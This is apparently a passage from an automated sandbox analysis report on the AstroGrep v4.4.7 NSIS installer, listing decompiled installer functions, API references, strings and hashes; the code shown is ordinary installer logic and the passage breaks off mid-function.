															if( *((intOrPtr*)(_t162 + 0x10)) != 0 && CopyFileA("C:\\Users\\Albus\\AppData\\Local\\Temp\\ASTROGREP_SETUP_V4.4.7.EXE", 0x428428, 1) != 0) {
																E00405BEA(_t135, 0x428428, 0);
																E00405D51(0, 0x428428, _t155, 0x428428,  *((intOrPtr*)( *0x42e410 + 0x124)));
																_t92 = E004054C0(0x428428);
																if(_t92 != 0) {
																	CloseHandle(_t92);
																	 *((intOrPtr*)(_t162 + 0x10)) = 0;
																}
															}
															 *0x42f400 =  *0x42f400 + 1;
															_t161 = _t161 - 1;
														} while (_t161 != 0);
														E00405BEA(_t135, _t155, 0);
													}
													goto L40;
												}
												 *_t151 = 0;
												_t152 = _t151 + 4;
												if(E0040588F(_t177, _t151 + 4) == 0) {
													goto L40;
												}
												E00405D2F("C:\\Program Files (x86)\\AstroGrep", _t152);
												E00405D2F("C:\\Program Files (x86)\\AstroGrep", _t152);
												 *((intOrPtr*)(_t162 + 0x10)) = 0;
												goto L39;
											}
											_t108 = (( *0x40915b << 0x00000008 |  *0x40915a) << 0x00000008 |  *0x409159) << 0x00000008 | " _?=";
											while( *_t151 != _t108) {
												_t151 = _t151 - 1;
												if(_t151 >= _t158) {
													continue;
												}
												goto L36;
											}
											goto L36;
										}
										GetWindowsDirectoryA(_t155, 0x3fb);
										lstrcatA(_t155, "\\Temp");
										_t111 = E004030DE(_t168);
										_t169 = _t111;
										if(_t111 != 0) {
											goto L30;
										}
										GetTempPathA(0x3fc, _t155);
										lstrcatA(_t155, "Low");
										SetEnvironmentVariableA("TEMP", _t155);
										SetEnvironmentVariableA("TMP", _t155);
										_t116 = E004030DE(_t169);
										_t170 = _t116;
										if(_t116 == 0) {
											goto L40;
										}
										goto L30;
									}
									goto L22;
								}
								_t139 = _t54[4];
								__eflags = _t139 - 0x20;
								if(_t139 == 0x20) {
									L20:
									_t15 = _t162 + 0x20;
									 *_t15 =  *(_t162 + 0x20) | 0x00000004;
									__eflags =  *_t15;
									goto L21;
								}
								__eflags = _t139;
								if(_t139 != 0) {
									goto L21;
								}
								goto L20;
							}
							_t140 = _t54[1];
							__eflags = _t140 - 0x20;
							if(_t140 == 0x20) {
								L16:
								 *0x42e4a0 = 1;
								goto L17;
							}
							__eflags = _t140;
							if(_t140 != 0) {
								goto L17;
							}
							goto L16;
						}
					} else {
						goto L9;
					}
					do {
						L9:
						_t54 =  &(_t54[1]);
						__eflags =  *_t54 - 0x20;
					} while ( *_t54 == 0x20);
					goto L10;
				}
				goto L27;
			}

0x0040311f
0x00403123
0x0040312b
0x0040312f
0x00403134
0x00403144
0x00403147
0x0040314e
0x00403155
0x00403155
0x0040314e
0x00403157
0x0040315c
0x0040315d
0x00403169
0x0040316d
0x00403174
0x0040317b
0x00403180
0x00403185
0x0040318c
0x00403192
0x004031a8
0x004031b8
0x004031bd
0x004031c3
0x004031ca
0x004031dd
0x004031e2
0x004031e4
0x004031e6
0x004031eb
0x004031eb
0x004031fb
0x00403201
0x004032ca
0x004032ca
0x004032cc
0x004032ce
0x00000000
0x00000000
0x0040320a
0x0040320d
0x00403215
0x00403215
0x00403218
0x0040321d
0x0040321f
0x0040321f
0x00403220
0x00403220
0x00403225
0x00403228
0x004032ba
0x004032bf
0x004032c4
0x004032c7
0x004032c9
0x004032c9
0x004032c9
0x00000000
0x0040322e
0x0040322e
0x0040322f
0x00403232
0x0040324a
0x00403275
0x00403277
0x0040328a
0x004032b5
0x004032b8
0x004032d6
0x004032d9
0x004032e2
0x004032e7
0x004032ed
0x004032f8
0x004032fa
0x004032ff
0x00403301
0x00403359
0x0040335e
0x00403368
0x0040336f
0x00403373
0x00403407
0x00403407
0x0040340c
0x00403412
0x00403417
0x0040353b
0x00403541
0x004035bd
0x004035bd
0x004035c2
0x004035c5
0x004035c7
0x004035c7
0x004035cf
0x004035cf
0x00403551
0x00403559
0x0040355b
0x0040355c
0x00403569
0x0040357c
0x00403584
0x00403588
0x00403588
0x00403590
0x00403595
0x0040359c
0x004035aa
0x004035ac
0x004035b2
0x004035b4
0x00000000
0x00000000
0x00000000
0x0040359e
0x004035a4
0x004035a6
0x004035a8
0x004035b6
0x004035b8
0x00000000
0x004035b8
0x00000000
0x004035a8
0x0040359c
0x00403426
0x0040342d
0x0040342d
0x0040337f
0x004033f7
0x004033f7
0x00403403
0x00000000
0x00403403
0x00403388
0x0040338c
0x004033c2
0x004033c2
0x004033c4
0x004033cc
0x0040343e
0x00403440
0x00403447
0x0040344f
0x0040344f
0x0040345a
0x0040345f
0x0040346e
0x00403472
0x00403473
0x0040347c
0x00403475
0x00403475
0x00403475
0x00403482
0x00403488
0x0040348e
0x00403496
0x00403496
0x004034a4
0x004034a9
0x004034bb
0x004034c3
0x004034c9
0x004034d5
0x004034db
0x004034e5
0x004034fb
0x0040350c
0x00403512
0x00403519
0x0040351c
0x00403522
0x00403522
0x00403519
0x00403526
0x0040352c
0x0040352c
0x00403531
0x00403531
0x00000000
0x0040346e
0x004033ce
0x004033d0
0x004033db
0x00000000
0x00000000
0x004033e3
0x004033ee
0x004033f3
0x00000000
0x004033f3
0x004033b7
0x004033b9
0x004033bd
0x004033c0
0x00000000
0x00000000
0x00000000
0x004033c0
0x00000000
0x004033b9
0x00403309
0x00403315
0x0040331a
0x0040331f
0x00403321
0x00000000
0x00000000
0x00403329
0x00403331
0x00403342
0x0040334a
0x0040334c
0x00403351
0x00403353
0x00000000
0x00000000
0x00000000
0x00403353
0x00000000
0x004032b8
0x00403279
0x0040327c
0x0040327f
0x00403285
0x00403285
0x00403285
0x00403285
0x00000000
0x00403285
0x00403281
0x00403283
0x00000000
0x00000000
0x00000000
0x00403283
0x00403234
0x00403237
0x0040323a
0x00403240
0x00403240
0x00000000
0x00403240
0x0040323c
0x0040323e
0x00000000
0x00000000
0x00000000
0x0040323e
0x00000000
0x00000000
0x00000000
0x0040320f
0x0040320f
0x0040320f
0x00403210
0x00403210
0x00000000
0x0040320f
0x00000000

APIs

SetErrorMode.KERNELBASE ref: 00403134
GetVersion.KERNEL32 ref: 0040313A
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403163
#17.COMCTL32(00000007,00000009), ref: 00403185
OleInitialize.OLE32(00000000), ref: 0040318C
SHGetFileInfoA.SHELL32(00428828,00000000,?,00000160,00000000), ref: 004031A8
GetCommandLineA.KERNEL32(AstroGrep v4.4.7 Setup,NSIS Error), ref: 004031BD
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" ,00000000), ref: 004031D0
CharNextA.USER32(00000000), ref: 004031FB
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004032F8
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403309
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403315
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\), ref: 00403329
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403331
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403342
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040334A
DeleteFileA.KERNELBASE(1033), ref: 0040335E

Part of subcall function 004060C8: GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
Part of subcall function 004060C8: GetProcAddress.KERNEL32(00000000,?,?,?,00403179,00000009), ref: 004060F5

ExitProcess.KERNELBASE(?), ref: 00403407
OleUninitialize.OLE32 ref: 0040340C
ExitProcess.KERNEL32 ref: 0040342D
GetCurrentProcess.KERNEL32(00000028,?), ref: 0040354A
OpenProcessToken.ADVAPI32(00000000), ref: 00403551
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403569
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403588
ExitWindowsEx.USER32(00000002,80040002), ref: 004035AC
ExitProcess.KERNEL32 ref: 004035CF

Part of subcall function 00405525: MessageBoxIndirectA.USER32 ref: 00405580

Strings

1033, xrefs: 00403359
C:\Users\user\AppData\Local\Temp\, xrefs: 004032ED, 004032F2, 00403308, 00403314, 00403323, 00403330, 0040333C, 00403344, 0040343D, 0040344E, 00403459, 00403465, 00403472, 00403481, 00403530
Error launching installer, xrefs: 004033C4
NSIS Error, xrefs: 004031AE
UXTHEME, xrefs: 00403157, 0040315C, 00403162
\Temp, xrefs: 0040330F
~nsu, xrefs: 00403438
C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE, xrefs: 004034EA
C:\Program Files (x86)\AstroGrep, xrefs: 004033E9
TMP, xrefs: 00403345
AstroGrep v4.4.7 Setup, xrefs: 004031B3
C:\Program Files (x86)\AstroGrep, xrefs: 004032DD, 004033DE, 00403488, 00403491
Low, xrefs: 0040332B
TEMP, xrefs: 0040333D
", xrefs: 00403220
C:\Users\user\AppData\Local\Temp, xrefs: 0040345F, 00403464, 00403490
.tmp, xrefs: 00403454
"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" , xrefs: 004031C3, 004031C9, 00403382
SeShutdownPrivilege, xrefs: 00403563

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" $.tmp$1033$AstroGrep v4.4.7 Setup$C:\Program Files (x86)\AstroGrep$C:\Program Files (x86)\AstroGrep$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3329125770-720344155
Opcode ID: 8cf9f27780d4a9ffc016deafba261a7cdcbd07a9ed72e1522d1863b0730728e5
Instruction ID: 749ed98c63e487a66f460374afa67f5348490bcf6ac540fe4d7c6930d14d49f5
Opcode Fuzzy Hash: 8cf9f27780d4a9ffc016deafba261a7cdcbd07a9ed72e1522d1863b0730728e5
Instruction Fuzzy Hash: E1C105306086416AE7216F61AC4DA6F3EACEF46706F04457FF541BA1E3C77C9A058B2E

Uniqueness

Uniqueness Score: -1.00%

Function 004048C5, Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E004048C5(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				long _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				signed char* _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t192;
				int _t194;
				intOrPtr _t195;
				intOrPtr _t197;
				long _t201;
				signed int _t205;
				signed int _t216;
				void* _t219;
				void* _t220;
				int _t226;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t239;
				signed int _t241;
				signed char _t242;
				signed char _t248;
				void* _t252;
				void* _t254;
				signed char* _t270;
				signed char _t271;
				long _t273;
				long _t276;
				int _t277;
				int _t279;
				int _t282;
				signed int _t283;
				long _t284;
				signed int _t287;
				signed int _t294;
				int _t295;
				int _t296;
				signed char* _t302;
				struct HWND__* _t306;
				int _t307;
				signed int* _t308;
				int _t309;
				long _t310;
				signed int _t311;
				void* _t313;
				long _t314;
				int _t315;
				signed int _t316;
				void* _t318;

				_t306 = _a4;
				_v12 = GetDlgItem(_t306, 0x3f9);
				_v8 = GetDlgItem(_t306, 0x408);
				_t318 = SendMessageA;
				_v20 =  *0x42e428;
				_t282 = 0;
				_v24 =  *0x42e410 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t285 = _a16;
					} else {
						_a12 = _t282;
						_t285 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t285;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t285 + 4)) == 0x408) {
							if(( *0x42e419 & 0x00000002) != 0) {
								L41:
								if(_v16 != _t282) {
									_t231 = _v16;
									if( *((intOrPtr*)(_t231 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t282,  *(_t231 + 0x5c));
									}
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6a) {
										_t285 = _v20;
										_t233 =  *(_t232 + 0x5c);
										if( *((intOrPtr*)(_t232 + 0xc)) != 2) {
											 *(_t233 * 0x418 + _t285 + 8) =  *(_t233 * 0x418 + _t285 + 8) & 0xffffffdf;
										} else {
											 *(_t233 * 0x418 + _t285 + 8) =  *(_t233 * 0x418 + _t285 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t285 = 0 | _a8 != 0x00000413;
								_t239 = E00404813(_v8, _a8 != 0x413);
								_t311 = _t239;
								if(_t311 >= _t282) {
									_t88 = _v20 + 8; // 0x8
									_t285 = _t239 * 0x418 + _t88;
									_t241 =  *_t285;
									if((_t241 & 0x00000010) == 0) {
										if((_t241 & 0x00000040) == 0) {
											_t242 = _t241 ^ 0x00000001;
										} else {
											_t248 = _t241 ^ 0x00000080;
											if(_t248 >= 0) {
												_t242 = _t248 & 0x000000fe;
											} else {
												_t242 = _t248 | 0x00000001;
											}
										}
										 *_t285 = _t242;
										E0040117D(_t311);
										_a12 = _t311 + 1;
										_a16 =  !( *0x42e418) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t285 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, _t282, _t282);
							}
							if(_a8 == 0x40b) {
								_t219 =  *0x42984c; // 0x0
								if(_t219 != _t282) {
									ImageList_Destroy(_t219);
								}
								_t220 =  *0x429860; // 0x0
								if(_t220 != _t282) {
									GlobalFree(_t220);
								}
								 *0x42984c = _t282;
								 *0x429860 = _t282;
								 *0x42e460 = _t282;
							}
							if(_a8 != 0x40f) {
								L88:
								if(_a8 == 0x420 && ( *0x42e419 & 0x00000001) != 0) {
									_t307 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t307);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t307);
								}
								goto L91;
							} else {
								E004011EF(_t285, _t282, _t282);
								_t192 = _a12;
								if(_t192 != _t282) {
									if(_t192 != 0xffffffff) {
										_t192 = _t192 - 1;
									}
									_push(_t192);
									_push(8);
									E00404893();
								}
								if(_a16 == _t282) {
									L75:
									E004011EF(_t285, _t282, _t282);
									_t194 =  *0x429860; // 0x0
									_v32 = _t194;
									_t195 =  *0x42e428;
									_v60 = 0xf030;
									_v20 = _t282;
									if( *0x42e42c <= _t282) {
										L86:
										InvalidateRect(_v8, _t282, 1);
										_t197 =  *0x42dbdc; // 0x603445
										if( *((intOrPtr*)(_t197 + 0x10)) != _t282) {
											E004047CE(0x3ff, 0xfffffffb, E004047E6(5));
										}
										goto L88;
									}
									_t308 = _t195 + 8;
									do {
										_t201 =  *((intOrPtr*)(_v32 + _v20 * 4));
										if(_t201 != _t282) {
											_t287 =  *_t308;
											_v68 = _t201;
											_v72 = 8;
											if((_t287 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t308[4]);
												_t308[0] = _t308[0] & 0x000000fe;
											}
											if((_t287 & 0x00000040) == 0) {
												_t205 = (_t287 & 0x00000001) + 1;
												if((_t287 & 0x00000010) != 0) {
													_t205 = _t205 + 3;
												}
											} else {
												_t205 = 3;
											}
											_v64 = (_t205 << 0x0000000b | _t287 & 0x00000008) + (_t205 << 0x0000000b | _t287 & 0x00000008) | _t287 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t287 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageA(_v8, 0x110d, _t282,  &_v72); // executed
										}
										_v20 = _v20 + 1;
										_t308 =  &(_t308[0x106]);
									} while (_v20 <  *0x42e42c);
									goto L86;
								} else {
									_t309 = E004012E2( *0x429860);
									E00401299(_t309);
									_t216 = 0;
									_t285 = 0;
									if(_t309 <= _t282) {
										L74:
										SendMessageA(_v12, 0x14e, _t285, _t282);
										_a16 = _t309;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t216 * 4)) != _t282) {
											_t285 = _t285 + 1;
										}
										_t216 = _t216 + 1;
									} while (_t216 < _t309);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L91;
						} else {
							_t226 = SendMessageA(_v12, 0x147, _t282, _t282);
							if(_t226 == 0xffffffff) {
								goto L91;
							}
							_t310 = SendMessageA(_v12, 0x150, _t226, _t282);
							if(_t310 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t310 * 4)) == _t282) {
								_t310 = 0x20;
							}
							E00401299(_t310);
							SendMessageA(_a4, 0x420, _t282, _t310);
							_a12 = _a12 | 0xffffffff;
							_a16 = _t282;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v32 = 0;
					_v16 = 2;
					 *0x42e460 = _t306;
					 *0x429860 = GlobalAlloc(0x40,  *0x42e42c << 2);
					_t252 = LoadBitmapA( *0x42e400, 0x6e);
					 *0x429854 =  *0x429854 | 0xffffffff;
					_t313 = _t252;
					 *0x42985c = SetWindowLongA(_v8, 0xfffffffc, E00404EBC);
					_t254 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42984c = _t254;
					ImageList_AddMasked(_t254, _t313, 0xff00ff);
					SendMessageA(_v8, 0x1109, 2,  *0x42984c);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t313);
					_t314 = 0;
					do {
						_t260 =  *((intOrPtr*)(_v24 + _t314 * 4));
						if( *((intOrPtr*)(_v24 + _t314 * 4)) != _t282) {
							if(_t314 != 0x20) {
								_v16 = _t282;
							}
							_t279 = SendMessageA(_v12, 0x143, _t282, E00405D51(_t282, _t314, _t318, _t282, _t260)); // executed
							SendMessageA(_v12, 0x151, _t279, _t314);
						}
						_t314 = _t314 + 1;
					} while (_t314 < 0x21);
					_t315 = _a16;
					_t283 = _v16;
					_push( *((intOrPtr*)(_t315 + 0x30 + _t283 * 4)));
					_push(0x15);
					E00403F14(_a4);
					_push( *((intOrPtr*)(_t315 + 0x34 + _t283 * 4)));
					_push(0x16);
					E00403F14(_a4);
					_t316 = 0;
					_t284 = 0;
					if( *0x42e42c <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t302 = _v20 + 8;
						_v28 = _t302;
						do {
							_t270 =  &(_t302[0x10]);
							if( *_t270 != 0) {
								_v60 = _t270;
								_t271 =  *_t302;
								_t294 = 0x20;
								_v84 = _t284;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t294;
								_v40 = _t316;
								_v68 = _t271 & _t294;
								if((_t271 & 0x00000002) == 0) {
									if((_t271 & 0x00000004) == 0) {
										_t273 = SendMessageA(_v8, 0x1100, 0,  &_v84);
										_t295 =  *0x429860; // 0x0
										 *(_t295 + _t316 * 4) = _t273;
									} else {
										_t284 = SendMessageA(_v8, 0x110a, 3, _t284);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t276 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_t296 =  *0x429860; // 0x0
									_v32 = 1;
									 *(_t296 + _t316 * 4) = _t276;
									_t277 =  *0x429860; // 0x0
									_t284 =  *(_t277 + _t316 * 4);
								}
							}
							_t316 = _t316 + 1;
							_t302 =  &(_v28[0x418]);
							_v28 = _t302;
						} while (_t316 <  *0x42e42c);
						if(_v32 != 0) {
							L20:
							if(_v16 != 0) {
								E00403F49(_v8);
								_t282 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403F49(_v12);
								L91:
								return E00403F7B(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x004048d4
0x004048e5
0x004048ea
0x004048f2
0x004048f8
0x00404900
0x0040490e
0x00404911
0x00404b31
0x00404b38
0x00404b4c
0x00404b3a
0x00404b3c
0x00404b3f
0x00404b40
0x00404b47
0x00404b47
0x00404b58
0x00404b66
0x00404b69
0x00404b7f
0x00404bf4
0x00404bf7
0x00404bf9
0x00404c03
0x00404c11
0x00404c11
0x00404c13
0x00404c1d
0x00404c23
0x00404c26
0x00404c29
0x00404c44
0x00404c2b
0x00404c35
0x00404c35
0x00404c29
0x00404c1d
0x00000000
0x00404bf7
0x00404b84
0x00404b8f
0x00404b94
0x00404b9b
0x00404ba0
0x00404ba4
0x00404baf
0x00404baf
0x00404bb3
0x00404bb7
0x00404bbb
0x00404bce
0x00404bbd
0x00404bbd
0x00404bc4
0x00404bca
0x00404bc6
0x00404bc6
0x00404bc6
0x00404bc4
0x00404bd2
0x00404bd4
0x00404be7
0x00404bea
0x00404bed
0x00404bed
0x00404bb7
0x00000000
0x00404ba4
0x00404b86
0x00404b8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c47
0x00404c47
0x00404c4e
0x00404cbf
0x00404cc7
0x00404ccf
0x00404ccf
0x00404cd8
0x00404cda
0x00404ce1
0x00404ce4
0x00404ce4
0x00404cea
0x00404cf1
0x00404cf4
0x00404cf4
0x00404cfa
0x00404d00
0x00404d06
0x00404d06
0x00404d13
0x00404e69
0x00404e70
0x00404e8d
0x00404e93
0x00404ea5
0x00404ea5
0x00000000
0x00404d19
0x00404d1b
0x00404d20
0x00404d25
0x00404d2a
0x00404d2c
0x00404d2c
0x00404d2d
0x00404d2e
0x00404d30
0x00404d30
0x00404d38
0x00404d79
0x00404d7b
0x00404d80
0x00404d8b
0x00404d8e
0x00404d93
0x00404d9a
0x00404d9d
0x00404e3f
0x00404e45
0x00404e4b
0x00404e53
0x00404e64
0x00404e64
0x00000000
0x00404e53
0x00404da3
0x00404da6
0x00404dac
0x00404db1
0x00404db3
0x00404db5
0x00404dbb
0x00404dc2
0x00404dc7
0x00404dce
0x00404dd1
0x00404dd1
0x00404dd8
0x00404de4
0x00404de8
0x00404dea
0x00404dea
0x00404dda
0x00404ddc
0x00404ddc
0x00404e0a
0x00404e16
0x00404e25
0x00404e25
0x00404e27
0x00404e2a
0x00404e33
0x00000000
0x00404d3a
0x00404d45
0x00404d48
0x00404d4d
0x00404d4f
0x00404d53
0x00404d63
0x00404d6d
0x00404d6f
0x00404d72
0x00000000
0x00000000
0x00000000
0x00000000
0x00404d55
0x00404d55
0x00404d5b
0x00404d5d
0x00404d5d
0x00404d5e
0x00404d5f
0x00000000
0x00404d55
0x00404d38
0x00404d13
0x00404c56
0x00000000
0x00404c6c
0x00404c76
0x00404c7b
0x00000000
0x00000000
0x00404c8d
0x00404c92
0x00404c9e
0x00404c9e
0x00404ca0
0x00404caf
0x00404cb1
0x00404cb5
0x00404cb8
0x00000000
0x00404cb8
0x00404c56
0x00404917
0x0040491c
0x00404925
0x0040492c
0x0040493a
0x00404945
0x0040494b
0x00404959
0x0040496d
0x00404972
0x0040497f
0x00404984
0x0040499a
0x004049ab
0x004049b8
0x004049b8
0x004049bb
0x004049c1
0x004049c3
0x004049c6
0x004049cb
0x004049d0
0x004049d2
0x004049d2
0x004049e6
0x004049f2
0x004049f2
0x004049f4
0x004049f5
0x004049fa
0x004049fd
0x00404a00
0x00404a04
0x00404a09
0x00404a0e
0x00404a12
0x00404a17
0x00404a1c
0x00404a1e
0x00404a26
0x00404af0
0x00404b03
0x00000000
0x00404a2c
0x00404a2f
0x00404a32
0x00404a35
0x00404a35
0x00404a3b
0x00404a41
0x00404a44
0x00404a4a
0x00404a4b
0x00404a50
0x00404a59
0x00404a60
0x00404a63
0x00404a66
0x00404a69
0x00404aa5
0x00404ac6
0x00404ac8
0x00404ace
0x00404aa7
0x00404ab4
0x00404ab4
0x00404a6b
0x00404a6e
0x00404a7d
0x00404a87
0x00404a89
0x00404a8f
0x00404a96
0x00404a99
0x00404a9e
0x00404a9e
0x00404a69
0x00404ad4
0x00404ad5
0x00404ae1
0x00404ae1
0x00404aee
0x00404b09
0x00404b0d
0x00404b2a
0x00404b2f
0x00000000
0x00404b0f
0x00404b14
0x00404b1d
0x00404ea7
0x00404eb9
0x00404eb9
0x00404b0d
0x00000000
0x00404aee
0x00404a26

APIs

GetDlgItem.USER32(?,000003F9), ref: 004048DD
GetDlgItem.USER32(?,00000408), ref: 004048E8
GlobalAlloc.KERNEL32(00000040,?), ref: 00404932
LoadBitmapA.USER32 ref: 00404945
SetWindowLongA.USER32 ref: 0040495E
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404972
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404984
SendMessageA.USER32 ref: 0040499A
SendMessageA.USER32 ref: 004049A6
SendMessageA.USER32 ref: 004049B8
DeleteObject.GDI32(00000000), ref: 004049BB
SendMessageA.USER32 ref: 004049E6
SendMessageA.USER32 ref: 004049F2
SendMessageA.USER32 ref: 00404A87
SendMessageA.USER32 ref: 00404AB2
SendMessageA.USER32 ref: 00404AC6
GetWindowLongA.USER32(?,000000F0), ref: 00404AF5
SetWindowLongA.USER32 ref: 00404B03
ShowWindow.USER32(?,00000005), ref: 00404B14
SendMessageA.USER32 ref: 00404C11
SendMessageA.USER32 ref: 00404C76
SendMessageA.USER32 ref: 00404C8B
SendMessageA.USER32 ref: 00404CAF
SendMessageA.USER32 ref: 00404CCF
ImageList_Destroy.COMCTL32(00000000), ref: 00404CE4
GlobalFree.KERNEL32(00000000), ref: 00404CF4
SendMessageA.USER32 ref: 00404D6D
SendMessageA.USER32 ref: 00404E16
SendMessageA.USER32 ref: 00404E25
InvalidateRect.USER32(?,00000000,00000001), ref: 00404E45
ShowWindow.USER32(?,00000000), ref: 00404E93
GetDlgItem.USER32(?,000003FE), ref: 00404E9E
ShowWindow.USER32(00000000), ref: 00404EA5

Strings

N, xrefs: 00404B4F
, xrefs: 00404E7D
E4`, xrefs: 00404E4B
M, xrefs: 00404A6E

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $E4`$M$N
API String ID: 1638840714-1051736386
Opcode ID: 98e2d7c6ee6a234b068a5e6a8c88a9cece07b0d44b3c2dcd542ae9ed88053873
Instruction ID: ee94c2e81ac7fcd3d2633371b1ae487f30220c2a0e0de663c2dd45f1c85c3c3c
Opcode Fuzzy Hash: 98e2d7c6ee6a234b068a5e6a8c88a9cece07b0d44b3c2dcd542ae9ed88053873
Instruction Fuzzy Hash: D70262B0A00209AFEB20DF55DC45AAE7BB5FB84315F14413AF610BA2E1C7799D51CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405086, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00405086(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				struct tagRECT _v24;
				void* _v32;
				signed int _v36;
				int _v40;
				int _v44;
				signed int _v48;
				int _v52;
				void* _v56;
				void* _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t87;
				struct HWND__* _t89;
				long _t90;
				int _t95;
				int _t96;
				long _t99;
				void* _t102;
				intOrPtr _t113;
				void* _t121;
				intOrPtr _t124;
				struct HWND__* _t128;
				int _t150;
				int _t153;
				long _t157;
				struct HWND__* _t161;
				struct HMENU__* _t163;
